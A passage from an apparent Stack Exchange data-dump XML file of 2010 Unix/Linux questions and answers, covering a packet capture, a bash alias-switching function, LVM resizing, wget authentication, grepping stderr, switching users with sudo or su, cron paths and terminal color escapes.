Win=64240 Len=0&#xD;&#xA;         77 14.015911   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=48529 Ack=190 Win=65535 Len=1348&#xD;&#xA;         78 14.016112   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=49877 Ack=190 Win=65535 Len=1348&#xD;&#xA;         79 14.016132   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=51225 Win=64240 Len=0&#xD;&#xA;         80 14.016643   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=51225 Ack=190 Win=65535 Len=1348&#xD;&#xA;         81 14.016865   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=52573 Ack=190 Win=65535 Len=1348&#xD;&#xA;         82 14.016887   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=53921 Win=64240 Len=0&#xD;&#xA;         83 14.017095   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=53921 Ack=190 Win=65535 Len=1348&#xD;&#xA;         84 14.018786   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=55269 Ack=190 Win=65535 Len=1420&#xD;&#xA;         85 14.018823   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=56689 Win=64240 Len=0&#xD;&#xA;         86 14.018981   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=56689 Ack=190 Win=65535 Len=1276&#xD;&#xA;         87 14.018994   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=57965 Ack=190 Win=65535 Len=1348&#xD;&#xA;         88 14.019008   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=59313 Win=64240 Len=0&#xD;&#xA;         89 14.024666   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=59313 Ack=190 Win=65535 Len=1420&#xD;&#xA;         90 14.024685   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=60733 Ack=190 Win=65535 Len=1276&#xD;&#xA;         91 14.024712   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=62009 Win=64240 Len=0&#xD;&#xA;         92 14.025221   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=62009 Ack=190 Win=65535 Len=1348&#xD;&#xA;         93 14.026959   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=63357 Ack=190 Win=65535 Len=1348&#xD;&#xA;         94 14.027000   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=64705 Win=64240 Len=0&#xD;&#xA;         95 14.027035   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=64705 Ack=190 Win=65535 Len=1348&#xD;&#xA;         96 14.027045   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=66053 Ack=190 Win=65535 Len=1348&#xD;&#xA;         97 14.027053   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=67401 Win=64240 Len=0&#xD;&#xA;         98 14.027637   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=67401 Ack=190 Win=65535 Len=1348&#xD;&#xA;         99 14.028162   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=68749 Ack=190 Win=65535 Len=1348&#xD;&#xA;        100 14.028190   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=70097 Win=64240 Len=0&#xD;&#xA;        101 14.028634   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=70097 Ack=190 Win=65535 Len=1348&#xD;&#xA;        102 14.029058   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=71445 Ack=190 Win=65535 Len=1348&#xD;&#xA;        103 14.029076   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=72793 Win=64240 Len=0&#xD;&#xA;        104 14.029392   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=72793 Ack=190 Win=65535 Len=1348&#xD;&#xA;        105 14.029819   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=74141 Ack=190 Win=65535 Len=1348&#xD;&#xA;        106 14.029841   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=75489 Win=64240 Len=0&#xD;&#xA;        107 14.030139   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=75489 Ack=190 Win=65535 Len=1348&#xD;&#xA;        108 14.030510   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=76837 Ack=190 Win=65535 Len=1420&#xD;&#xA;        109 14.030530   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=78257 Win=64240 Len=0&#xD;&#xA;        110 14.030557   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=78257 Ack=190 Win=65535 Len=1276&#xD;&#xA;        111 14.031644   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=79533 Ack=190 Win=65535 Len=1348&#xD;&#xA;        112 14.031673   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=80881 Win=64240 Len=0&#xD;&#xA;        113 14.032084   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [PSH, ACK] Seq=80881 Ack=190 Win=65535 Len=1411&#xD;&#xA;        114 14.032093   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [FIN, ACK] Seq=82292 Ack=190 Win=65535 Len=0&#xD;&#xA;        115 14.032104   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [ACK] Seq=190 Ack=82293 Win=62829 Len=0&#xD;&#xA;        116 14.040620   10.0.2.15             172.25.9.238          TCP      kazaa &gt; glrpc [FIN, ACK] Seq=190 Ack=82293 Win=62829 Len=0&#xD;&#xA;        117 14.041564   172.25.9.238          10.0.2.15             TCP      glrpc &gt; kazaa [ACK] Seq=82293 Ack=191 Win=65535 Len=0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**version 1.11.4:**&#xD;&#xA;&#xD;&#xA;    No.     Time        Source                Destination           Protocol Info&#xD;&#xA;          1 0.000000    10.0.2.15             172.25.9.238          TCP      mpc-lifenet &gt; glrpc [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1&#xD;&#xA;          2 0.021323    172.25.9.238          10.0.2.15             TCP      glrpc &gt; mpc-lifenet [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460&#xD;&#xA;          3 0.021379    10.0.2.15             172.25.9.238          TCP      mpc-lifenet &gt; glrpc [ACK] Seq=1 Ack=1 Win=64240 Len=0&#xD;&#xA;          4 0.026476    10.0.2.15             172.25.9.238          giFT     Response: GET /intraday/faces/reports/FP201010271100 HTTP/1.0&#xD;&#xA;          5 0.026990    172.25.9.238          10.0.2.15             TCP      glrpc &gt; mpc-lifenet [ACK] Seq=1 Ack=143 Win=65535 Len=0&#xD;&#xA;          6 0.040137    172.25.9.238          10.0.2.15             giFT     Request: HTTP/1.0 302 Found&#xD;&#xA;          7 0.078133    10.0.2.15             172.25.9.238          giFT     Response: GET /intraday/spring_security_login HTTP/1.0&#xD;&#xA;          8 0.078741    172.25.9.238          10.0.2.15             TCP      glrpc &gt; mpc-lifenet [ACK] Seq=237 Ack=278 Win=65535 Len=0&#xD;&#xA;          9 0.097840    172.25.9.238          10.0.2.15             giFT     Request: HTTP/1.0 404 Not Found&#xD;&#xA;         10 0.102113    10.0.2.15             172.25.9.238          TCP      mpc-lifenet &gt; glrpc [RST, ACK] Seq=278 Ack=1585 Win=0 Len=0&#xD;&#xA;         11 0.103253    172.25.9.238          10.0.2.15             giFT     Request: ipt src=&quot;/myapp/org/apache/myfaces/tobago/renderkit/html/standard/standard/script/tobago.js&quot; type=&quot;text/javascript&quot;&#xD;&#xA;         12 0.103481    10.0.2.15             172.25.9.238          TCP      mpc-lifenet &gt; glrpc [RST] Seq=278 Win=0 Len=0&#xD;&#xA;         13 0.103657    172.25.9.238          10.0.2.15             giFT     Request: .startBody = new Date();&#xD;&#xA;         14 0.103906    10.0.2.15             172.25.9.238          TCP      mpc-lifenet &gt; glrpc [RST] Seq=278 Win=0 Len=0&#xD;&#xA;         15 0.104174    172.25.9.238          10.0.2.15             TCP      glrpc &gt; mpc-lifenet [RST, ACK] Seq=3779959295 Ack=278 Win=0 Len=0&#xD;&#xA;         16 0.112019    172.25.9.238          10.0.2.15             TCP      glrpc &gt; mpc-lifenet [RST, ACK] Seq=3779959295 Ack=278 Win=0 Len=0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7596" PostHistoryTypeId="5" PostId="3543" RevisionGUID="03343a69-cd52-4d4c-8348-61603d2e1dfe" CreationDate="2010-10-27T15:45:11.353" UserId="653" Comment="added 81 characters in body" Text="Hello everyone,&#xD;&#xA;Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. alias cdwww=~/public_html/current_project/www , and so on.&#xD;&#xA;&#xD;&#xA;My question is : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;Another question : how do I make my newly created aliases work in all consoles?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi" />
  <row Id="7597" PostHistoryTypeId="2" PostId="3564" RevisionGUID="0aac6c15-f008-45cb-bc96-f6a465ec1754" CreationDate="2010-10-27T16:22:04.223" UserId="2445" Text="I've got a Red Hat Enterprise Linux Server release 5.5 (Tikanga). That I'm running four virtual guests on.  In /dev/VolGroup01 I have the following partitions  &#xD;&#xA;xenvm01&#xD;&#xA;xenvm02&#xD;&#xA;xenvm03&#xD;&#xA;&#xD;&#xA;Then I have snapshots like so  &#xD;&#xA;vm01_backup&lt;date&gt;&#xD;&#xA;vm02_backup&lt;date&gt;&#xD;&#xA;vm03_backup&lt;date&gt;&#xD;&#xA;&#xD;&#xA;I'm wondering if there is any way for me to resize (grow) the LV /dev/VolGroup01/xenvm01 without first shutting down the virt. But it also seems as if I have to remove the snapshots before I can resize. " />
  <row Id="7598" PostHistoryTypeId="1" PostId="3564" RevisionGUID="0aac6c15-f008-45cb-bc96-f6a465ec1754" CreationDate="2010-10-27T16:22:04.223" UserId="2445" Text="Resizing a Logical Volume holding a live virt guest" />
  <row Id="7599" PostHistoryTypeId="3" PostId="3564" RevisionGUID="0aac6c15-f008-45cb-bc96-f6a465ec1754" CreationDate="2010-10-27T16:22:04.223" UserId="2445" Text="élvmà" />
  <row Id="7600" PostHistoryTypeId="2" PostId="3565" RevisionGUID="ad4f99c9-3b27-4ce2-98ac-18592c949a5c" CreationDate="2010-10-27T16:26:46.237" UserId="2445" Text="I'm wondering if you could use phplint to do this. " />
  <row Id="7601" PostHistoryTypeId="2" PostId="3566" RevisionGUID="1deedfff-abc8-4904-a604-125a606e2f28" CreationDate="2010-10-27T16:29:09.370" UserId="2210" Text="Slackware still uses /etc/rc.d&#xD;&#xA;&#xD;&#xA;FreeBSD uses /etc/rc.d and /usr/local/etc/rc.d&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7602" PostHistoryTypeId="2" PostId="3567" RevisionGUID="2da6ad5b-c260-4881-a022-459416d45e47" CreationDate="2010-10-27T16:59:43.467" UserId="2156" Text="Just add `--auth-no-challenge` parameter.&#xD;&#xA;&#xD;&#xA;&gt;If this option is given, Wget will send Basic HTTP authentication information (plaintext username and password) for all requests, just like Wget 1.10.2 and prior did by default.&#xD;&#xA;&#xD;&#xA;For details read [bug-description][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.gentoo.org/show_bug.cgi?id=221043" />
  <row Id="7603" PostHistoryTypeId="5" PostId="3536" RevisionGUID="f5207327-81e9-4f19-bdec-467fb40e1a70" CreationDate="2010-10-27T17:39:53.977" UserId="4" Comment="added 162 characters in body" Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, output is printed to both stdout and stderr:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;So we hide output to stdout:&#xD;&#xA;&#xD;&#xA;    $ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. You must convert stderr to stdout, because grep only operates on stdout. You can still grep the standard error. The `--color` flag helps you to see that grep will find a match with 'err'.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep --color err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the script I use for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="7604" PostHistoryTypeId="5" PostId="3548" RevisionGUID="4476a423-9428-4e59-8c70-1d75068ef12c" CreationDate="2010-10-27T19:36:46.607" UserId="1571" Comment="added 503 characters in body" Text="Is there a way to make my terminal (konsole) display different text colors when I'm in an ssh session WITHOUT modifying the remote host's color configuration? Like, maybe automatically switching to a different profile?&#xD;&#xA;&#xD;&#xA;Konsole can use these different &quot;profiles&quot; &#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;I want to basically change to a different profile when in an ssh session. So that instead of the default being green on black, change to black on white or something.&#xD;&#xA;&#xD;&#xA;It doesn't necessarily have to use this profile setting. But if xterm or something has a setting to do this that would work too.&#xD;&#xA;&#xD;&#xA;The idea is to work on ANY ssh session, not just particular sessions with particular machines.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/svW9v.png" />
  <row Id="7605" PostHistoryTypeId="5" PostId="3420" RevisionGUID="824cb704-f7e4-4a6b-b987-ec4926f4fa15" CreationDate="2010-10-27T19:38:15.793" UserId="1571" Comment="added 327 characters in body" Text="This is a shot in the dark, but you could try adding `i8042.nopnp` to your boot line in grub. &#xD;&#xA;&#xD;&#xA;I swore I updated my answer...&#xD;&#xA;&#xD;&#xA;When you boot up, it should display the grub menu. I forget the exact commands, but you hit like e to edit the line, then go down to where it says kernel= and hit e again to edit that line. Add `i8042.nopnp` to the end of that line. Then hit enter, then either b or ctrl-x, I forget which." />
  <row Id="7606" PostHistoryTypeId="2" PostId="3568" RevisionGUID="56827c22-f95f-4416-977d-c5b38d92dd4a" CreationDate="2010-10-27T19:38:50.367" UserId="688" Text="I'd like to log in as a different user without logging out of the current one (on the same terminal). How do I do that?" />
  <row Id="7607" PostHistoryTypeId="1" PostId="3568" RevisionGUID="56827c22-f95f-4416-977d-c5b38d92dd4a" CreationDate="2010-10-27T19:38:50.367" UserId="688" Text="how to switch between users on one terminal" />
  <row Id="7608" PostHistoryTypeId="3" PostId="3568" RevisionGUID="56827c22-f95f-4416-977d-c5b38d92dd4a" CreationDate="2010-10-27T19:38:50.367" UserId="688" Text="éloginàéusersà" />
  <row Id="7609" PostHistoryTypeId="2" PostId="3569" RevisionGUID="7e7970df-d89a-46b2-bee3-d2b004eecef6" CreationDate="2010-10-27T19:41:24.937" UserId="73" Text="Generally you use `sudo` to launch a new shell as the user you want; the `-u` flag lets you specify the username you want:&#xD;&#xA;&#xD;&#xA;    [mrozekma@etudes-1 ~] % whoami&#xD;&#xA;    mrozekma&#xD;&#xA;    [mrozekma@etudes-1 ~] % sudo -u nobody zsh&#xD;&#xA;    [nobody@etudes-1 ~] % whoami&#xD;&#xA;    nobody&#xD;&#xA;&#xD;&#xA;There are more circuitous ways if you don't have sudo access, like `ssh username@localhost`, but I think `sudo` is probably simplest if it's installed and you have permission to use it" />
  <row Id="7610" PostHistoryTypeId="2" PostId="3570" RevisionGUID="22e6d7df-2012-484b-ac62-e3e1b3056c0e" CreationDate="2010-10-27T19:44:52.947" UserId="2457" Text="Here is my crontab file&#xD;&#xA;`0 * * * * ./twitter/twitter.py`&#xD;&#xA;Am I doing something wrong?" />
  <row Id="7611" PostHistoryTypeId="1" PostId="3570" RevisionGUID="22e6d7df-2012-484b-ac62-e3e1b3056c0e" CreationDate="2010-10-27T19:44:52.947" UserId="2457" Text="How to have cron run a python script as root?" />
  <row Id="7612" PostHistoryTypeId="3" PostId="3570" RevisionGUID="22e6d7df-2012-484b-ac62-e3e1b3056c0e" CreationDate="2010-10-27T19:44:52.947" UserId="2457" Text="écronà" />
  <row Id="7613" PostHistoryTypeId="2" PostId="3571" RevisionGUID="a2756818-0dea-43ff-b8a2-579e52509694" CreationDate="2010-10-27T19:53:32.627" UserId="2296" Text="I'm considering a number of desktop distros for use in our office. It seems like SLED matches what I want more than any other distro, especially home user focused distros. In an attempt to learn more about it, I made a SUSE Studio account and got to playing just to learn what I can.&#xD;&#xA;&#xD;&#xA;I have at least an above average amount of Linux experience. I run it on my home machines exclusively (running ArchLinux) and manage our Linux server at work just fine. My knowledge is a bit lacking in Linux server/workstation interactions, especially when it comes to SUSE (which I haven't used before). &#xD;&#xA;&#xD;&#xA;Now my goal here is threefold:&#xD;&#xA;&#xD;&#xA;1. All workstations should be running an identical OS with identical software. This part seems easy. If I make a SUSE Studio appliance for all our machines and use that, mission accomplished.&#xD;&#xA;&#xD;&#xA;2. I should be able to make system-level changes remotely to all our machines at once (as opposed to SSHing them one by one). I haven't played with it much but I've read that YaST is designed to do such things?&#xD;&#xA;&#xD;&#xA;3. I want user information to be stored on our (non SUSE) server. This is where things get especially fuzzy for me. If each workstation's software is identical then in theory if the user's home folder is stored on the server, a user could log in from any machine on the network and have all their stuff right there. This also greatly simplifies the backup process since all user data is in one spot (/home on the server). I don't know if this is a bad idea or not but it seems really cool. In SUSE Studio I only saw options to manually add users so I don't know of SLED supports anything like this out of the box or not.&#xD;&#xA;&#xD;&#xA;I'd appreciate if somebody could clear up my confusions here and point me down the right path to have smooth server-workstation integration in our office." />
  <row Id="7614" PostHistoryTypeId="1" PostId="3571" RevisionGUID="a2756818-0dea-43ff-b8a2-579e52509694" CreationDate="2010-10-27T19:53:32.627" UserId="2296" Text="Trying to set up a server/workstation SLED environment." />
  <row Id="7615" PostHistoryTypeId="3" PostId="3571" RevisionGUID="a2756818-0dea-43ff-b8a2-579e52509694" CreationDate="2010-10-27T19:53:32.627" UserId="2296" Text="énetworkingàéserveràéopensuseàésusestudioà" />
  <row Id="7616" PostHistoryTypeId="2" PostId="3572" RevisionGUID="066799cb-afd8-46e4-96a6-10f88a49dfa1" CreationDate="2010-10-27T19:58:12.493" UserId="2458" Text="How about using the &quot;su&quot; command?&#xD;&#xA;&#xD;&#xA;    [pratt@parsiphae ~] whoami&#xD;&#xA;    pratt&#xD;&#xA;    [pratt@parsiphae ~] su root&#xD;&#xA;    Password: &#xD;&#xA;    [root@parsiphae ~] whoami&#xD;&#xA;    root&#xD;&#xA;    [root@parsiphae ~] exit&#xD;&#xA;    logout&#xD;&#xA;    [pratt@parsiphae ~]$ " />
  <row Id="7617" PostHistoryTypeId="5" PostId="3543" RevisionGUID="4583c44f-2867-4bed-855c-773e70a31af6" CreationDate="2010-10-27T20:03:17.637" UserId="653" Comment="improved formatting" Text="Hello everyone,&#xD;&#xA;&#xD;&#xA;Sometimes, I use KDE, and one of the things that I like the most in KDE 4 is the activity concept. At work, it is very useful because I often work on several different projects during one day. Switching to another activity enables me to change the widgets, so that I can have access to folders related to the current project, for instance.&#xD;&#xA;&#xD;&#xA;I've decided to use this concept in the shell, so I have coded a small bash function called &quot;switch&quot;, which sets aliases useful for the current project, e.g. `alias cdwww=~/public_html/current_project/www` , and so on.&#xD;&#xA;&#xD;&#xA;**My question is** : Is there a way I can synchronise KDE activities with shell activities, that is calling 'switch myproj' on every opened terminal when switching to activity 'myproj' through KDE and *vice versa* (bonus question)?&#xD;&#xA;&#xD;&#xA;**Another question** : how do I make my newly created aliases work in all consoles?&#xD;&#xA;&#xD;&#xA;EDIT: here is the switch function, located at the end of my .bashrc file, feel free to comment:&#xD;&#xA;&#xD;&#xA;    function switch() {&#xD;&#xA;    &#xD;&#xA;        if [ ! -d ~/.switch ]&#xD;&#xA;        then&#xD;&#xA;            mkdir ~/.switch&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -f ~/.switch/proj.save ]&#xD;&#xA;        then&#xD;&#xA;            touch ~/.switch/proj.save&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;$1&quot; &gt; ~/.switch/proj.save&#xD;&#xA;    &#xD;&#xA;        case $1 in&#xD;&#xA;        meddispar )&#xD;&#xA;            echo &quot;Switching to meddispar...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/onp/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/onp/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;cdwww &amp;&amp; php bin/php/ezcache.php --clear-all --purge &amp;&amp; cd -&quot;&#xD;&#xA;        ;;&#xD;&#xA;        darjeeling )&#xD;&#xA;            echo &quot;Switching to darjeeling...&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdproj alias&quot;&#xD;&#xA;            alias cdproj=&quot;cd ~/public_html/darjeeling/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cdwww alias&quot;&#xD;&#xA;            alias cdwww=&quot;cd ~/public_html/darjeeling/www/&quot;&#xD;&#xA;    &#xD;&#xA;            echo &quot;setting cc alias&quot;&#xD;&#xA;            alias cc=&quot;rm -rf ~/public_html/darjeeling/www/var/cache/*&quot;&#xD;&#xA;        ;;&#xD;&#xA;        * )&#xD;&#xA;            echo &quot;'$1'? WTF?&quot;&#xD;&#xA;            rm ~/.switch/proj.save&#xD;&#xA;        ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;    if [ -f ~/.switch/proj.save ]&#xD;&#xA;    then&#xD;&#xA;         switch `cat ~/.switch/proj.save`&#xD;&#xA;    fi" />
  <row Id="7618" PostHistoryTypeId="2" PostId="3573" RevisionGUID="62a57f1a-68ef-407f-93c1-493bcb6fde1b" CreationDate="2010-10-27T20:42:15.427" UserId="885" Text="If that's root's crontab (edited with `sudo crontab -u root -e` or `su -c 'crontab -u root -e'` or similar), then `./twitter/twitter.py` will run every hour. If this is the system crontab (`/etc/crontab`), a sixth field is needed after the asterisks: `0 * * * * root …`. I recommend using the root user's crontab and leaving the system crontab to the system.&#xD;&#xA;&#xD;&#xA;`./twitter/twitter.py` starts from the current directory. Cron can't guess what you want the current directory to be: you never told it. Change this to use the absolute path to the script, e.g. `/home/paul/scripts/twitter/twitter.py`.&#xD;&#xA;&#xD;&#xA;You'll need to make sure that `twitter.py` starts with `#!/usr/bin/env python` (I'm assuming it is a Python script) and that `python` is in cron's default `PATH` (this will depend on your brand of unix; you can be sure that `/usr/bin` is in the default `PATH`, but if your `python` lives elsewhere such as `/usr/local/bin`, you may need to add a line like `PATH=/usr/local/bin:/bin:/usr/bin` at the top of the crontab).&#xD;&#xA;&#xD;&#xA;Also make sure that the script is executable (`chmod +x …/twitter.py`).&#xD;&#xA;" />
  <row Id="7619" PostHistoryTypeId="5" PostId="3536" RevisionGUID="5ac836da-c80b-4a3f-8a67-55eda06c23c7" CreationDate="2010-10-27T21:59:24.867" UserId="4" Comment="added 10 characters in body" Text="See below for the script used in these tests.&#xD;&#xA;&#xD;&#xA;Grep can only operate on stdin, so therefore you must convert the stderr stream in a form that Grep can parse.&#xD;&#xA;&#xD;&#xA;Normally, output is printed to both stdout and stderr:&#xD;&#xA;&#xD;&#xA;    $ ./stdout-stderr.sh&#xD;&#xA;    ./stdout-stderr.sh: Printing to stdout&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;So we hide output to stdout:&#xD;&#xA;&#xD;&#xA;    $ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1&#xD;&#xA;    ./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;The following Bash syntax will hide output to stdout, but will still show stderr. You must convert stderr to stdout, because Unix pipes will only operate on stdout. You can still grep the standard error. The `--color` flag helps you to see that grep will find a match with 'err'.&#xD;&#xA;&#xD;&#xA;	$ { ./stdout-stderr.sh &gt;/dev/null ; } 2&gt;&amp;1  | grep --color err&#xD;&#xA;	./stdout-stderr.sh: Printing to stderr&#xD;&#xA;&#xD;&#xA;Here's the script I use for testing. This prints one line to stdout and one line to stderr:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    # Print a message to stdout&#xD;&#xA;    echo &quot;$0: Printing to stdout&quot;&#xD;&#xA;    # Print a message to stderr&#xD;&#xA;    echo &quot;$0: Printing to stderr&quot; &gt;&amp;2&#xD;&#xA;    &#xD;&#xA;    exit 0" />
  <row Id="7620" PostHistoryTypeId="5" PostId="3549" RevisionGUID="0c12dc55-5ce4-46e0-8830-5a77cb781177" CreationDate="2010-10-27T22:12:26.380" UserId="885" Comment="suggest a wrapper around ssh rather than changing a remote configuration file" Text="One possibility, if the terminal supports it, is to use the terminal's Change Color escape sequence. Apparently konsole doesn't support it though. From the Xterm control sequence document ([ctlseqs](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms)):&#xD;&#xA;&#xD;&#xA;&gt; OSC Ps ; Pt BEL&#xD;&#xA;&#xD;&#xA;&gt; Ps = 4  ; c ; spec -&gt; Change Color Number c to the color specified by spec, i.e., a name or RGB specification as per XParseColor.  Any number of c name pairs may be given.  The color numbers correspond to the ANSI colors 0-7, their bright versions 8-15, and if supported, the remainder of the 88-color or 256-color table.&#xD;&#xA;&#xD;&#xA;What this means is that the control sequence 